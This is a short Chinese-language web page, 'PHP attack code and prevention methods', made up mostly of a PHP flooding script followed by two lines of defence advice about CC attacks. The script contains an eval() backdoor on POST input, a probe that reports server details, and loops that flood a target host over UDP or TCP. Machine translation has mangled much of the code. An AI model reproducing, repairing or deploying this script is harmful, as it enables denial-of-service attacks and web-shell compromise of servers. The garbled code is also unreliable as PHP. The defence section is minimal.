PHP攻击代码及防范方法
复制代码代码如下所示:
< PHP
eval($ _post { chr(90)));
(86400)set_time_limit;
ignore_user_abort(真的);
$包=0;
HTTP _get美元美元= { 'http' };
兰德= { 'exit美元美元_get};
exec_time美元=美元_get {时间};
如果(StrLen($ HTTP)= = 0或StrLen($兰特)= = 0或StrLen($ exec_time)= = 0)
{
如果(StrLen($ _get { 'rat ' })> 0)
{
echo $ _get { 'rat},{_server美元http_host 。|。gethostbyname($ _server { 'server_name})。| (。php_uname)| 。_server美元{ 'server_software'} { } 'rat _get美元;
出口;
}
PHP 2012终止符;
出口;
}
($ i = 0;$ i < 65535;$ + +)
{
$ = x ;
}
/ / udp1 fsockopen udp2 pfsockopen TCP3 cc.center
max_time美元(美元)=时间+ exec_time;
如果($ = 53)
(1)
{
数据包+ +;
如果(时间()> max_time美元)
{
打破;
}
$ FP = fsockopen(UDP: / / $ http
如果(FP)
{
fwrite(FP美元,美元);
Fclose($ FP);
}
}
其他的
如果($ = 500)
(1)
{
数据包+ +;
如果(时间()> max_time美元){
打破;
}
FP = pfsockopen美元(UDP: / / $ http
如果(FP)
{
fwrite(FP美元,美元);
Fclose($ FP);
}
}
其他的
(1)
{
数据包+ +;
如果(时间()> max_time美元){
打破;
}
FP = pfsockopen美元(TCP / /:$ http
如果(FP)
{
fwrite(FP美元,美元);
Fclose($ FP);
}
}
>
对于CC攻击,如果我们是动态页面,我们可以判断时间。如果我们是静态网站,我们需要安装防止CC攻击服务器的软件。一般的服务器安全狗是好的。
如果你有好的软件,你可以给我们留言。